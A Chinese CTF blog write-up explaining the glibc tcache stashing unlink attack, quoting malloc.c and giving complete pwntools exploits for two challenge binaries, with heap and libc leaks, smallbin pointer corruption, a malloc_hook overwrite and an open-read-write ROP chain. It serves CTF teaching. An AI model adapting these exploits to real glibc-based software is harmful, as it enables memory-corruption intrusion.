tcache stashing unlink attack实现的效果和unsortedbin attack有点相似,可以向任意地址写一个较大的数
如果构造合理,还可以实现任意地址分配chunk
malloc.c : line 3635
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): smallbin double linked list corrupted");
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;
/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (tc_victim = last (bin)) != bin)
{
if (tc_victim != 0)
{
bck = tc_victim->bk;
set_inuse_bit_at_offset (tc_victim, nb);
if (av != &main_arena)
set_non_main_arena (tc_victim);
bin->bk = bck;
bck->fd = bin;
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
源码里对第一个分配出来的 chunk 进行了链表完整性的检查,但是之后将 chunk 放入 tcache 里时并没有进行这个检查。bck->fd = bin 就可以实现任意地址处写进一个 main_arena 的值进去 如果我们可以控制 target_addr->fd 也就是 target_addr + 0x8 处为一个可写地址,我们也可以把他放进 tcache,达成任意地址分配 chunk 这种利用手法被叫做house of lore
效果1:任意地址写较大数
我们先看一下和unsortedbin attack类似的任意地址写较大数的效果
例题:BUUCTF-[2020 新春红包题]3
checksec
没开canary,开了沙箱
基本就是用orw去读出flag了
程序存在后门函数输入666进入,这里存在一个栈溢出,但是溢出空间只有0x10基本就是要利用栈迁移了
这里要触发栈溢出还需要满足上方的条件
(qword_4058 + 2048) > 0x7F0000000000LL && (qword_4058 + 2040) = 0
&&(qword_4058 + 2056) = 0
这个qword_4058是程序开始时建的大chunk内容都是0
所以我们现在需要去让qword_4058 + 2048 > 0x7F0000000000
free里存在UAF漏洞,我们可以借此去泄露heapbase和libcbase,并且这里申请chunk用的是calloc,可以越过tcache去smallbin中取chunk, 符合利用条件
泄露heapbase & libcbase
建7个0x410的chunk并释放填满0x410的tcachebin 再多建一个用于释放泄露libc
再向0x100大小的Tcache Bin释放6个Chunk,这样,在将我们伪造的Fake_chunk放入Tcache Bin区域时,Tcache Bin区域将会填满,程序不会继续通过我们伪造的bk指针向后继续遍历
for i in range(7):
add(0,4,'0x410')
free(0)
add(0,4,'0x410')
for i in range(6):
add(1,2,'0x100')
free(1)
show(1)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x36f0
success('heap_base =============================>' +hex(heap_base))
free(0)
show(0)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base =============================>' +hex(libc_base))
此时bin中情况是unsortedbin中被放入一个0x410的chunk
放进2个smallbin
我们申请1次0x310后0x410的unsortedbin被切割剩0x100,再申请0x310时由于遍历unsortedbin时发现chunk大小不满足申请的,就会把其放入对应bin中也就是smallbin
add(2,3,'0x310')
add(2,3,'0x310') #smallbin 1
add(3,4,'0x410')
add(1,3,'0x310')
free(3)
add(4,3,'0x310')
add(4,3,'0x310') #smallbin 2
控制smallbin->bk触发漏洞
我们修改smallbin2的 bk 为 heap_base+0x250+0x800 也就是qword_4058 + 2048 -0x10,前面有0x250的tcache头也要加上,布置好堆布局后去calloc触发,那么qword_4058 + 2048 -0x10 -> fd = qword_4058 + 2048就会被写入main_arena + 336的地址
addr = heap_base+0x250+0x800
smallbin1_addr=heap_base+0x31e0
payload=b'a'*(0x300)+p64(0) +p64(0x101) + p64(smallbin1_addr) + p64(addr)
edit(3,payload)
add(5,2,'0x100')
接下来可以利用后门函数了,我们再申请一个chunk写orwchain,再申请的chunk的malloc地址为
heap6 = heap_base + 0x4630 写好ropchain再走栈迁移即可
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
heap6 = heap_base + 0x4630
orw_chain = './flag'+'\x00\x00'
orw_chain += p64(pop_rdi_ret) + p64(heap6)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])
orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])
add(6,4,orw_chain)
payload = b'a'*0x80 + p64(heap6) + p64(leave_ret)
io.sendlineafter("Your input:",str(666).encode())
io.sendlineafter("What do you want to say?",payload)
io.interactive()
全部exp:
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
io = process('./RedPacket_SoEasyPwn1')
elf = ELF('./RedPacket_SoEasyPwn1')
#libc = ELF('./libc.so.6')
libc = elf.libc
def add(index, choice, content):
io.sendlineafter("Your input:",str(1).encode())
io.sendlineafter("Please input the red packet idx: ",str(index).encode())
io.sendlineafter("(1.0x10 2.0xf0 3.0x300 4.0x400): ",str(choice).encode())
io.sendafter("Please input content: ",content)
def free(index):
io.sendlineafter("Your input:",str(2).encode())
io.sendlineafter("Please input the red packet idx: ",str(index).encode())
def edit(index, content):
io.sendlineafter("Your input:",str(3).encode())
io.sendlineafter("Please input the red packet idx: ",str(index).encode())
io.sendafter("Please input content: ",content)
def show(index):
io.sendlineafter("Your input:",str(4).encode())
io.sendlineafter("Please input the red packet idx: ",str(index).encode())
for i in range(7):
add(0,4,'0x410')
free(0)
add(0,4,'0x410')
for i in range(6):
add(1,2,'0x100')
free(1)
show(1)
heap_base = u64(io.recv(6).ljust(8,'\x00')) - 0x36f0
success('heap_base =============================>' +hex(heap_base))
free(0)
show(0)
libc_base = u64(io.recv(6).ljust(8,'\x00')) - 96 -0x10 -libc.sym['__malloc_hook']
success('libc_base =============================>' +hex(libc_base))
add(2,3,'0x310')
add(2,3,'0x310') #smallbin 1
add(3,4,'0x410')
add(1,3,'0x310')
free(3)
add(4,3,'0x310')
add(4,3,'0x310') #smallbin 2
addr = heap_base+0x250+0x800
smallbin1_addr=heap_base+0x31e0
payload=b'a'*(0x300)+p64(0) +p64(0x101) + p64(smallbin1_addr) + p64(addr)
edit(3,payload)
add(5,2,'0x100')
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
heap6 = heap_base + 0x4630
orw_chain = './flag'+'\x00\x00'
orw_chain += p64(pop_rdi_ret) + p64(heap6)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])
orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(heap6+0x500)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])
add(6,4,orw_chain)
payload = b'a'*0x80 + p64(heap6) + p64(leave_ret)
io.sendlineafter("Your input:",str(666).encode())
io.sendlineafter("What do you want to say?",payload)
io.interactive()
效果2: 任意地址分配
例题:hitcon_ctf_2019_one_punch
解法1:错位写0x7f
checksec
后门函数的条件和上题类似,这里是要让qword_4030+32的位置大于6
qword_4030+32也就是heapbase + 0x30的位置就是tcache的0x220的count,我们可以像house of storm那样利用错位的方法把地址的高字节0x7f写进去进而可以使用malloc去申请tcache的bin
这里同样存在UAF那么构造方法和上面就如出一辙了,这里的edit是不限次数的,提前放进两个0x220的tcachebin改fd去攻击malloc_hook即可,但是这里的malloc_hook里写什么 我们要执行我们的orw_chain
gdb调试一下
exp写成这样io = gdb.debug('./hitcon_ctf_2019_one_punch'),malloc_hook里填个不合法的地址,比如0x1
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
io = gdb.debug('./hitcon_ctf_2019_one_punch')
#io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc
def add(index, name):
io.sendlineafter("> ",str(1).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",name)
def free(index):
io.sendlineafter("> ",str(4).encode())
io.sendlineafter("idx: ",str(index).encode())
def edit(index, content):
io.sendlineafter("> ",str(2).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",content)
def show(index):
io.sendlineafter("> ",str(3).encode())
io.sendlineafter("idx: ",str(index).encode())
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(6):
add(1,'a'*0xf0)
free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0X26e0
success('heap_base =========================>'+hex(heap_base))
free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))
add(0,b'a'*0x300)
add(0,b'a'*0x300) #smallbin 1
add(2,b'a'* 0x400)
add(1,b'a'* 0x100)
free(2)
add(1,b'a'*0x300)
add(1,b'a'*0x300) #smallbin 2
payload = b'b'*(0x300) + p64(0) + p64(0x101) + p64(heap_base + 0x21d0) + p64(heap_base+0x20-5)
edit(2,payload)
add(1, 'flag'+'\x00'*(0x100-4))
for i in range(2):
add(0,'a'*0x217)
free(0)
add(2,'a'*0xf0)#tache trash unlink
def backdoor(content):
io.sendlineafter('> ',str(50056))
io.send(content)
malloc_hook = libc.sym['__malloc_hook'] + libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(0x1))
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
flag_addr=heap_base+0x3420
orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])
orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])
add(1,orw_chain)
io.interactive()
弹出调试界面后输入c继续执行,会断在0x1
rsp+0x48的位置是我们写入的orwchain,那么用ropper找一下这个gadget就好了
exp1:
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",25072)
#io = gdb.debug('./hitcon_ctf_2019_one_punch')
io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc
def add(index, name):
io.sendlineafter("> ",str(1).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",name)
def free(index):
io.sendlineafter("> ",str(4).encode())
io.sendlineafter("idx: ",str(index).encode())
def edit(index, content):
io.sendlineafter("> ",str(2).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",content)
def show(index):
io.sendlineafter("> ",str(3).encode())
io.sendlineafter("idx: ",str(index).encode())
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(6):
add(1,'a'*0xf0)
free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0X26e0
success('heap_base =========================>'+hex(heap_base))
free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))
add(0,b'a'*0x300)
add(0,b'a'*0x300) #smallbin 1
add(2,b'a'* 0x400)
add(1,b'a'* 0x100)
free(2)
add(1,b'a'*0x300)
add(1,b'a'*0x300) #smallbin 2
payload = b'b'*(0x300) + p64(0) + p64(0x101) + p64(heap_base + 0x21d0) + p64(heap_base+0x20-5)
edit(2,payload)
add(1, 'flag'+'\x00'*(0x100-4))
for i in range(2):
add(0,'a'*0x217)
free(0)
add(2,'a'*0xf0)#tache trash unlink
def backdoor(content):
io.sendlineafter('> ',str(50056))
io.send(content)
malloc_hook = libc.sym['__malloc_hook'] + libc_base
edit(0,p64(malloc_hook))
backdoor(p64(0))
add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(add_rsp_0x48))
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
flag_addr=heap_base+0x3420
orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])
orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])
add(1,orw_chain)
io.interactive()
解法2:分配malloc_hook附近的chunk
这个解法和上述解法的不同之处在于,上述解法往tcache先填6个bin,这里是填入5个bin,再布局smallbin
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(5):
add(1,'a'*0x210)
free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2940
success('heap_base =========================>'+hex(heap_base))
free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))
add(1,b'c'*0x1e0)
add(1,b'a'*0x300) #smallbin 1
如果像红包题我们构造的是0x100的smallbin,那么我们按照老套路,申请一个0x400,然后再申请0x300切割,再申请个0x300就把smallbin2放进去了,但是这里不行,因为我们在做切割的时候申请的大小是0x1e0,那么我们原先的0x220的smallbin是能满足需求的,就直接被切割申请走了
我们需要去伪造一个smallbin,伪造好fd和bk
presize为0,size为0x221,作为第二个smallbin,fd指向第一个放进的smallbin fd = heap_base + 0x20b0
bk指向我们想申请的地址,malloc_hook 附近,注意这个地址的bk位置也要是个合法地址,&malloc_hook - 0x38的位置就符合预期
再构造smallbin1的bk指向smallbin2就行了,我还在其中放入了flag字符串,为后面orw做准备
payload = p64(0) + p64(0x221) + p64(heap_base + 0x20b0) + p64(libc.sym['__malloc_hook']+libc_base - 0x38) + 'flag'+'\x00'*(0x1e0-0x20-4) + p64(0) + p64(0x221) + p64(0xdeadbeef) + p64(heap_base + 0x20b0 - 0x1e0)
现在我们去申请一个0x210即可触发tcache_stashing_unlink_attack
add(2,'a'*0x210)
接下来就和之前一样了改malloc_hook,执行orw
exp2:
# -*- coding: utf-8 -*-
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
#io = remote("node4.buuoj.cn",28601)
#io = gdb.debug('./hitcon_ctf_2019_one_punch')
io = process('./hitcon_ctf_2019_one_punch')
elf = ELF('./hitcon_ctf_2019_one_punch')
#libc = ELF('./libc.so.6')
libc = elf.libc
def add(index, name):
io.sendlineafter("> ",str(1).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",name)
def free(index):
io.sendlineafter("> ",str(4).encode())
io.sendlineafter("idx: ",str(index).encode())
def edit(index, content):
io.sendlineafter("> ",str(2).encode())
io.sendlineafter("idx: ",str(index).encode())
io.sendafter("hero name: ",content)
def show(index):
io.sendlineafter("> ",str(3).encode())
io.sendlineafter("idx: ",str(index).encode())
for i in range(7):
add(0,'a'*0x400)
free(0)
add(0,'a'*0x400)
for i in range(5):
add(1,'a'*0x210)
free(1)
show(1)
io.recvuntil('hero name: ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x2940
success('heap_base =========================>'+hex(heap_base))
free(0)
show(0)
io.recvuntil('hero name: ')
libc_base = u64(io.recvuntil(b'\x7f').ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
success('libc_base =========================>'+hex(libc_base))
add(1,b'c'*0x1e0)
add(1,b'a'*0x300) #smallbin 1
payload = p64(0) + p64(0x221) + p64(heap_base + 0x20b0) + p64(libc.sym['__malloc_hook']+libc_base - 0x38) + 'flag'+'\x00'*(0x1e0-0x20-4) + p64(0) + p64(0x221) + p64(0xdeadbeef) + p64(heap_base + 0x20b0 - 0x1e0)
edit(0,payload)
add(2,'a'*0x210)
def backdoor(content):
io.sendlineafter('> ',str(50056))
io.send(content)
add_rsp_0x48 = 0x8cfd6 + libc_base
backdoor(p64(0)*5+p64(add_rsp_0x48))
pop_rax_ret = libc_base + 0x0000000000047cf8
pop_rdi_ret = libc_base + 0x0000000000026542
pop_rsi_ret = libc_base + 0x0000000000026f9e
pop_rdx_ret = libc_base + 0x000000000012bda6
syscall_ret = libc_base + 0x00000000000cf6c5
leave_ret = libc_base + 0x0000000000058373
flag_addr=heap_base+0x1ef0
orw_chain = p64(pop_rdi_ret) + p64(flag_addr)# name = "./flag"
orw_chain += p64(pop_rsi_ret) + p64(0)
orw_chain += p64(pop_rdx_ret) + p64(0)
orw_chain += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
orw_chain += p64(pop_rdi_ret) + p64(3)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["read"])
orw_chain += p64(pop_rdi_ret) + p64(1)
orw_chain += p64(pop_rsi_ret) + p64(flag_addr+0x5000)
orw_chain += p64(pop_rdx_ret) + p64(0x30)
orw_chain += p64(libc_base + libc.symbols["write"])
add(1,orw_chain)
io.interactive()
小结:
1.如果要任意地址写一个较大数,则tcache中先布置6个chunk, 再布置smallbin
2.如果要任意地址申请chunk,则tcache中先布置5个chunk,再布置smallbin
标签:tcache,p64,libc,orw,ret,attack,base,io,unlink
From: https://www.cnblogs.com/s4ndw1ch/p/17762538.html